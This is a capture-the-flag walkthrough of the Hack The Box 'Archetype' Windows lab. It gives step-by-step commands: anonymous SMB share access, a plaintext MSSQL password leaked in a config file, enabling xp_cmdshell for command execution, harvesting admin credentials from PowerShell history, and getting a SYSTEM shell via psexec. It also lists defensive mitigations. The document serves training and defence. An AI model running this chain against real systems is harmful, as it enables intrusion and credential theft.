

HTB STARTING POINT

Archetype

Windows MSSQL Walkthrough

Public-safe edition - flags and final Administrator password redacted
Focus: methodology, reasoning, attack chain and defensive takeaways

SMB

Config leak

MSSQL

xp_cmdshell

PS history

Psexec

SYSTEM

Archetype is a Windows Starting Point machine that demonstrates a realistic internal attack chain. The configuration starts with an exposed SMB backup share, continues with plaintext MSSQL credentials in a configuration file, and ends with Administrator credentials leaked in PowerShell history.

Public-safe

User and root flags are redacted. The final Administrator password is also redacted in the narrative. The goal is to document the methodology without turning the PDF into a simple answer dump.

Field	Value
Platform	Hack The Box
Machine	Archetype
Difficulty	Very Easy
OS	Windows
Core services	SMB, MSSQL, WinRM
Main technique	MSSQL sysadmin -> xp_cmdshell -> PowerShell history -> PsExec

```
Anonymous SMB access
-> backups share readable
-> prod.dtsConfig exposes MSSQL credentials
-> MSSQL login as ARCHETYPE\sql_svc
-> sql_svc has SQL Server sysadmin privileges
-> xp_cmdshell enabled
-> Windows command execution as sql_svc
-> PowerShell history leaks Administrator credentials
-> PsExec obtains SYSTEM shell
```

I started with a full TCP scan to identify the exposed services.

```
sudo nmap -p- 10.129.95.187
```

The scan showed several Windows services. The two most interesting services were SMB on port 445 and Microsoft SQL Server on port 1433.

Port	Service	Why it matters
139/tcp	netbios-ssn	Legacy SMB over NetBIOS
445/tcp	microsoft-ds	Modern SMB file sharing
1433/tcp	ms-sql-s	Microsoft SQL Server
5985/tcp	wsman	WinRM, useful with valid credentials

Method

When SMB is exposed on a Windows target, enumerate shares before chasing complex exploitation. Misconfigured shares often contain scripts, backups or configuration files.

2. SMB enumeration

I used the available shares using the guest account with an empty password.

List SMB shares

```
smbclient -L //10.129.95.187 -U guest%
```

Interesting SMB shares

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
backups	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC

I connected to the backups share and found a configuration file.

Download the configuration file

```
smbclient //10.129.95.187/backups -U guest%  
smb: \> ls  
smb: \> get prod.dtsConfig
```

The file contained a SQL Server connection string with a service account and password.

Credential exposure in prod.dtsConfig

```
<ConfiguredValue>  
Data Source=.;Password=M3g4c0rp123;  
User ID=ARCHETYPE\sql_svc;  
Initial Catalog=Catalog;Provider=SQLNCLI10.1;  
</ConfiguredValue>
```

Finding

This is a classic credential hygiene problem: a backup share exposed a configuration file, and the configuration file stored a plaintext service account password.

3. MSSQL access

Using the credentials from the configuration file, I connected to Microsoft SQL Server with Impacket.

Connect to MSSQL with Windows authentication

```
mssqlclient.py ARCHETYPE/sql_svc:'M3g4c0rp123'@10.129.95.187 -windows-auth
```

Inside the SQL prompt, I confirmed the current identity and checked whether the account was a SQL Server sysadmin.

Initial MSSQL checks

```
SELECT name FROM sys.databases;  
SELECT SYSTEM_USER;  
SELECT IS_SRVROLEMEMBER('sysadmin');
```

The sysadmin check returned 1, which means the account had high privileges inside SQL Server.

MSSQL reminder

This is Microsoft SQL Server. Commands such as SHOW DATABASES are MySQL syntax and do not apply here. For MSSQL, use SELECT name FROM sys.databases.

4. Enabling xp_cmdshell

Because the SQL account had sysadmin privileges, I enabled xp_cmdshell. This extended stored procedure allows SQL Server to run Windows commands.

Enable OS command execution

```
EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXEC sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;
```

Then I tested command execution with whoami.

Test command execution

```
EXEC xp_cmdshell 'whoami';
```

Result

```
output
-----
archetype\sql_svc
NULL
```

Key point

At this stage, the compromise moved from database access to Windows command execution as the sql_svc user.

5. User flag

With command execution as sql_svc, I enumerated the user's Desktop and read the user flag.

Read user.txt

```
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Desktop';
EXEC xp_cmdshell 'type C:\Users\sql_svc\Desktop\user.txt';
```

User flag

```
[REDACTED_USER_FLAG]
```

On Windows CMD, the equivalent of Linux cat is type. In PowerShell, the equivalent is Get-Content.

6. Privilege escalation methodology

At this point, I had code execution as a service account. Instead of immediately relying on automated tooling, I stepped back and enumerated the user profile manually.

Manual profile enumeration

```
EXEC xp_cmdshell 'dir C:\Users\sql_svc';
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Desktop';
EXEC xp_cmdshell 'dir C:\Users\sql_svc\Documents';
```

The useful idea was to check command history. PowerShell with PSReadLine stores console history in a predictable location.

PowerShell history path

```
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

For the current account, I read the sql_svc history file.

Read PowerShell history

```
EXEC xp_cmdshell 'type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt';
```

The history contained a previous administrative command with Administrator credentials.

Administrator credential leak

```
net.exe use T: \\Archetype\backups /user:administrator [REDACTED_ADMIN_PASSWORD]
```

Lesson

The password was not cracked. It was already leaked in plaintext command history. Command history is loot.

7. Administrator access with PsExec

With valid Administrator credentials and SMB exposed, I used Impacket PsExec to get a remote shell.

Run PsExec from the attack VM

```
psexec.py administrator:'[REDACTED_ADMIN_PASSWORD] '@10.129.95.187
```

PSEXec is not a vulnerability by itself. It is a remote administration technique. It authenticates over SMB, writes a temporary service, starts it remotely, and returns a shell. The service runs as LocalSystem, so the shell usually becomes NT AUTHORITY\SYSTEM.

Confirm SYSTEM and read root flag

```
whoami  
# expected: nt authority\system  
  
type C:\Users\Administrator\Desktop\root.txt
```

Root flag

```
[REDACTED_ROOT_FLAG]
```

8. Defensive recommendations

The compromise was not caused by one single vulnerability. It was a chain of weak access control, plaintext secrets, excessive privileges and poor credential hygiene.

Weakness	Mitigation
Guest access to SMB backup share	Disable anonymous access and audit SMB shares regularly.
Plaintext password in configuration file	Use secret management, encryption, managed service accounts and credential rotation.
sql_svc has SQL sysadmin	Apply least privilege and review service account roles.
xp_cmdshell can be enabled	Keep it disabled and alert on sp_configure and xp_cmdshell usage.
Password in PowerShell history	Avoid passing passwords on command lines, clean sensitive history and monitor profiles.
Administrator credentials usable over SMB	Use LAPS/Windows LAPS, restrict SMB administration and monitor remote service creation.

Useful Windows events to monitor include successful logon events, privileged logons, remote share access, process creation and service creation.

Detection ideas

```
4624 - Successful logon  
4672 - Special privileges assigned  
4688 - Process creation  
5140 - Network share accessed  
7045 - Service created
```

9. Key takeaways

Pentest habit

After getting command execution, loot the current user's profile before jumping to kernel exploits or automated tools.

Good places to check on Windows include Desktop, Documents, Downloads, PowerShell history, configuration files, scripts, saved credentials and scheduled tasks.

For MSSQL, remember the following checklist.

MSSQL mini-checklist

```
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```

The core lessons are simple: SQL Server sysadmin plus xp_cmdshell can become Windows command execution, and command history can expose high-value credentials.

Appendix - Clean command flow

This appendix gives a compact version of the intended path, useful for revision after completing the machine.

End-to-end command flow

```
# 1. SMB enumeration
smbclient -L //10.129.95.187 -U guest%
smbclient //10.129.95.187/backups -U guest%
get prod.dtsConfig

# 2. MSSQL connection
mssqlclient.py ARCHETYPE/sql_svc:'M3g4c0rp123'@10.129.95.187 -windows-auth

# 3. MSSQL checks
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# 4. Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# 5. User flag
EXEC xp_cmdshell 'type C:\Users\sql_svc\Desktop\user.txt';

# 6. Privilege escalation
EXEC xp_cmdshell 'type
    C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt';

# 7. Administrator shell
psexec.py administrator:'[REDACTED_ADMIN_PASSWORD]'@10.129.95.187
```